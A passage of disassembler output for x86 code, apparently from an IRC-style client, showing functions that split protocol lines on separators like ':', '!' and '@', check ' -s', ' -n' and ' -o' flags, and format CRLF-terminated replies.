		cmp	[esp+20h+var_D], bl
		jz	short loc_410667
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410662:				; CODE XREF: sub_410030+4FFj
		call	sub_401226


loc_410667:				; CODE XREF: sub_410030+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_4113F7
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	ecx, dword_4490C4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_4106A0:				; CODE XREF: sub_410030+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F8
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410722
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490FC
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410727


loc_410722:				; CODE XREF: sub_410030+69Bj
		mov	[esp+20h+var_D], 1


loc_410727:				; CODE XREF: sub_410030+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410794
		cmp	[ebp+16h], bl
		jnz	short loc_410770
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h


loc_410770:				; CODE XREF: sub_410030+713j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490CC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410794:				; CODE XREF: sub_410030+70Ej
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D4
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	short loc_410845
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014DD
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41082D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015E1


loc_41082D:				; CODE XREF: sub_410030+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410845:				; CODE XREF: sub_410030+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D0
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410880
		mov	al, byte_449804
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410884


loc_410880:				; CODE XREF: sub_410030+840j
		mov	[esp+20h+var_D], bl


loc_410884:				; CODE XREF: sub_410030+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410B91
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_4108E2
		mov	ecx, eax
		call	sub_402072


loc_4108E2:				; CODE XREF: sub_410030+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41090E
		mov	ecx, eax
		call	sub_4010BE


loc_41090E:				; CODE XREF: sub_410030+8D5j
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401AAF
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410B7C


loc_41096F:				; CODE XREF: sub_410030+B46j
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_410997
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410999
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_410030+95Aj
		xor	esi, esi


loc_410999:				; CODE XREF: sub_410030+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4109CB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4109CF
; ---------------------------------------------------------------------------


loc_4109CB:				; CODE XREF: sub_410030+98Cj
		mov	[esp+20h+var_C], ebx


loc_4109CF:				; CODE XREF: sub_410030+999j
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4109F2
		mov	byte ptr [esi+93h], 1
		jmp	short loc_4109F8
; ---------------------------------------------------------------------------


loc_4109F2:				; CODE XREF: sub_410030+9B7j
		mov	[esi+93h], bl


loc_4109F8:				; CODE XREF: sub_410030+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A13
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410A19
; ---------------------------------------------------------------------------


loc_410A13:				; CODE XREF: sub_410030+9D8j
		mov	[esi+94h], bl


loc_410A19:				; CODE XREF: sub_410030+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A34
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410A3A
; ---------------------------------------------------------------------------


loc_410A34:				; CODE XREF: sub_410030+9F9j
		mov	[esi+95h], bl


loc_410A3A:				; CODE XREF: sub_410030+A02j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_448F30
		lea	ecx, [esi+54h]
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esi+3Fh]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410B29
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410B29:				; CODE XREF: sub_410030+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013DE
		inc	edi
		push	offset asc_4445EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41096F


loc_410B7C:				; CODE XREF: sub_410030+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410B91:				; CODE XREF: sub_410030+86Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490C8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410EAB
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410C0B
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410C0D
; ---------------------------------------------------------------------------


loc_410C0B:				; CODE XREF: sub_410030+BCEj
		xor	esi, esi


loc_410C0D:				; CODE XREF: sub_410030+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410C3C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410C3E
; ---------------------------------------------------------------------------


loc_410C3C:				; CODE XREF: sub_410030+BFFj
		xor	edi, edi


loc_410C3E:				; CODE XREF: sub_410030+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C60
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410C66
; ---------------------------------------------------------------------------


loc_410C60:				; CODE XREF: sub_410030+C25j
		mov	[esi+95h], bl


loc_410C66:				; CODE XREF: sub_410030+C2Ej
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C81
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410C87
; ---------------------------------------------------------------------------


loc_410C81:				; CODE XREF: sub_410030+C46j
		mov	[esi+93h], bl


loc_410C87:				; CODE XREF: sub_410030+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410CA2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410CA8
; ---------------------------------------------------------------------------


loc_410CA2:				; CODE XREF: sub_410030+C67j
		mov	[esi+94h], bl


loc_410CA8:				; CODE XREF: sub_410030+C70j
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016B8
		push	offset asc_444C58 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C58 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset a@	; "@"
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FDC
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C54 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410E7D
		add	eax, 2
		push	eax
		jmp	short loc_410E82
; ---------------------------------------------------------------------------


loc_410E7D:				; CODE XREF: sub_410030+E45j
		push	offset byte_448F30


loc_410E82:				; CODE XREF: sub_410030+E4Bj
		mov	ecx, esi
		call	sub_4015E1
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410E9F
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410E9F:				; CODE XREF: sub_410030+E64j
		mov	ecx, edi
		call	sub_4013DE
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410EAB:				; CODE XREF: sub_410030+BADj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490EC
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411080
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	edx
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_410F72
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	eax
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40212B


loc_410F72:				; CODE XREF: sub_410030+EF3j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_4E8E45
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C58 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401870
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_4493ED
		mov	[ebp+16h], bl
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411080:				; CODE XREF: sub_410030+EC7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E0
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411238
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C58 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401870
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_444C54 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		mov	esi, dword_511B04
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_411223
		push	offset asc_444C54 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_4111EB
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FDC


loc_4111EB:				; CODE XREF: sub_410030+11A9j
		push	offset byte_4E8E45
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41120F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E8E45
		push	edx
		call	sub_401FDC


loc_41120F:				; CODE XREF: sub_410030+1173j
					; sub_410030+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411223:				; CODE XREF: sub_410030+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411238:				; CODE XREF: sub_410030+109Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F0
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4112BF
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449100
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4112C4


loc_4112BF:				; CODE XREF: sub_410030+1238j
		mov	[esp+20h+var_D], 1


loc_4112C4:				; CODE XREF: sub_410030+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C58 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C58 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_444C58 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40212B
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_4113F7
; ---------------------------------------------------------------------------


loc_4113F0:				; CODE XREF: sub_410030+391j
		mov	ecx, ebp
		call	sub_401D20


loc_4113F7:				; CODE XREF: sub_410030+1D3j
					; sub_410030+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_410072


loc_411400:				; CODE XREF: sub_410030+3Cj
					; sub_410030+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_410030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411930	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402072
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411930	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4119B0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016F4j
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4119C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4119C8:				; CODE XREF: ___:004119BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4119E0	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4119E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
